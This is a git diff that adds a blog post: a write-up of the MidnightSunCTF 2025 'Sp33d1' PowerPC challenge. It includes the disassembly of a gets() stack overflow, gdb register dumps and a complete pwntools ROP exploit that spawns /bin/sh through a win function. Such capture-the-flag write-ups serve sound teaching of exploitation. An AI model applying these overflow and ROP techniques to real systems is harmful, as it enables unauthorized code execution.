diff options
| author | Gabriel Schneider <[email protected]> | 2026-03-26 16:23:24 -0300 |
|---|---|---|
| committer | Gabriel Schneider <[email protected]> | 2026-03-27 13:48:42 -0300 |
| commit | 7c32657002fca2c7e2195d789b1b11e3071d79a2 (patch) | |
| tree | 6ee80577abce9f16251b3b8c642ae290ad8084b7 /trees/blog/midnightsunctf-2025.typ | |
| parent | c5388feaf9a3bc57070af7c75d03c88bc4fbda4a (diff) | |
| download | 0x4200.cafe-7c32657002fca2c7e2195d789b1b11e3071d79a2.tar.gz 0x4200.cafe-7c32657002fca2c7e2195d789b1b11e3071d79a2.zip | |
Squashed older blog files
Diffstat (limited to 'trees/blog/midnightsunctf-2025.typ')
| -rw-r--r-- | trees/blog/midnightsunctf-2025.typ | 178 |
1 files changed, 178 insertions, 0 deletions
diff --git a/trees/blog/midnightsunctf-2025.typ b/trees/blog/midnightsunctf-2025.typ new file mode 100644 index 0000000..316971c --- /dev/null +++ b/trees/blog/midnightsunctf-2025.typ @@ -0,0 +1,178 @@ +#import "./html_elements.typ": post + +#show: post + +// +++ +// title = 'MidnightSunCTF 2025 - Sp33d1' +// date = 2025-05-18T18:00:02-03:00 +// tags = ['pwn', 'ctf'] +// draft = false +// +++ + += Sp33d1 + +This was a speedpwn challenge. I unfortunately wasn't able to play the CTF, it +only lasted 24h and I was busy the whole saturday, some kind of shabbos you can say. + + +This is a powerpc ROP challenge. Below is the disassembly of the `main` +function. The vulnerability is that we have a `gets` that stores a string of +any length in a stack variable, giving us a stack buffer overflow. + + + +```asm +; > PowerPC ELF32 2's complement, big endian +; RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE +; Full RELRO No canary found NX enabled No PIE N/A N/A 2043 Symbols N/A 0 0 sp33d1 + +stwu r1, -0x20(r1) +mflr r0 +stw r0, 0x24(r1) +stw r31, 0x1c(r1) +mr r31, r1 +lis r9, 0x100c +lwz r9, 0x1210(r9) ; 0x100c0278 + ; obj._IO_2_1_stdin_ +li r6, 0 ; size_t size +li r5, 2 ; int mode +li r4, 0 ; char *buf +mr r3, r9 ; FILE*stream +bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) +lis r9, 0x100c +lwz r9, 0x120c(r9) ; 0x100c0148 + ; obj._IO_2_1_stdout_ +li r6, 0 ; size_t size +li r5, 2 ; int mode +li r4, 0 ; char *buf +mr r3, r9 ; FILE*stream +bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) +li r3, 0x3c +bl sym.alarm +bl sym.banner +lis r9, 0x1007 +addi r3, r9, 0x6f70 ; int32_t arg1 +crclr cr1eq +bl sym.__printf +addi r9, r31, 8 +mr r3, r9 ; char *s +crclr cr1eq +bl sym.gets ; char *gets(char *s) +li r9, 0 +mr r3, r9 +addi r11, r31, 0x20 +lwz r0, 4(r11) +mtlr r0 +lwz r31, -4(r11) +mr r1, r11 +blr +``` + + +Note that at the function's epilogue we have: + +- `lwz r0, 4(r11)` > load `r11[4]` to `r0` +- `mtlr r0` > move `r0` to link register +- `blr` > branch to link register + +In gdb those are the registers right at the function's epilogue. By +sending an input with `cyclic(0x100)` we can see that we control: + +- R0 +- R1 +- R11 +- R31 +- LR + +```asm + R0 0x68616161 ('haaa') +*R1 0x407ff8d0 ◂— 0x67616161 ('gaaa') + R2 0x100cc580 ◂— 0 + R3 0 + R4 0x100c02bf (_IO_2_1_stdin_+71) ◂— 0xa100c1c + R5 1 + R6 0xa + R7 0x100c02c0 (_IO_2_1_stdin_+72) —▸ 0x100c1c08 (_IO_stdfile_0_lock) ◂— 0 + R8 0x100c0278 (_IO_2_1_stdin_) ◂— 0xfbad208b + R9 0 + R10 1 + R11 0x407ff8d0 ◂— 0x67616161 ('gaaa') + R12 0x40000222 ◂— 0 + R13 0x100c91f8 ◂— 0 + R14 0 + R15 0 + R16 0 + R17 0 + R18 0 + R19 0 + R20 0 + R21 0x100c0000 —▸ 0x100c91f8 ◂— 0 + R22 0x10000634 (main) ◂— stwu r1, -0x20(r1) + R23 0x100c12c8 (environ) —▸ 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus' + R24 0x10000138 (_init) ◂— stwu r1, -0x10(r1) + R25 0x100bcdb4 —▸ 0x100c0d14 (_nl_global_locale+16) —▸ 0x100bd8b4 (_nl_C_LC_MONETARY) —▸ 0x100c1268 (_nl_C_name) ◂— 0x43000000 /* 'C' */ + R26 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus' + R27 0x407ffc2c ◂— 0x16 + R28 0x407ffb44 —▸ 0x407ffd00 ◂— './sp33d1' + R29 1 + R30 0x100bfff0 (_GLOBAL_OFFSET_TABLE_) ◂— 0 + R31 0x66616161 ('faaa') + CR 0x20000222 + CTR 0x10014b00 (_IO_file_read) ◂— stwu r1, -0x10(r1) +*SP 0x407ff8d0 ◂— 0x67616161 ('gaaa') + LR 0x68616161 ('haaa') +*PC 0x100006c8 (main+148) ◂— blr +``` + +Given that, we control the execution flow and can start ROP'ing. + +There a a few things that make our life easier: + +- there's no PIE. +- the ELF is statically linked. +- we have the `/bin/sh` string at `0x10077a8c` +- we have the `win` function at `0x100005f8` which calls system + + +The only thing we need to do is to setup the `/bin/sh` as the first argument, +and then go to `win`. + +I tried using `ROPGadget` but it didn't work with the ppc ELF, even though it's +supported, instead of trying to fix it, I just tried with `ropper` and it +worked. + +Most gadgets found by the tool look like this: + +- 0x100716e4: add r1, r1, r10; blr; + +This is different that I'm used to do when ROP'ing, since x64 the `ret` +instruction can be used to chain our ROP. Below is the full solution: + + +```python + +from pwn import * + +context(arch='PowerPC', bits=32, endian='big') + +#io = remote('sp33d.play.hfsc.tf', 20020) +#io = gdb.debug('./sp33d1', 'b main') +io = process('./sp33d1') + +set_r3 = 0x100712b4 # lwz r3, 0x10(r1); lwz r0, 0x24(r1); lwz r30, 0x18(r1); addi r1, r1, 0x20; mtlr r0; blr; + +win = 0x100005f8 +bin_sh = 0x10077a8c + +io.sendline(flat([ + b'a' * 0x1c, + p32(set_r3 + 2), + p32(win + 2), + b'b' * 4, + p32(bin_sh), + b'c' * 0x10, + p32(win), +])) + +io.interactive() +``` |
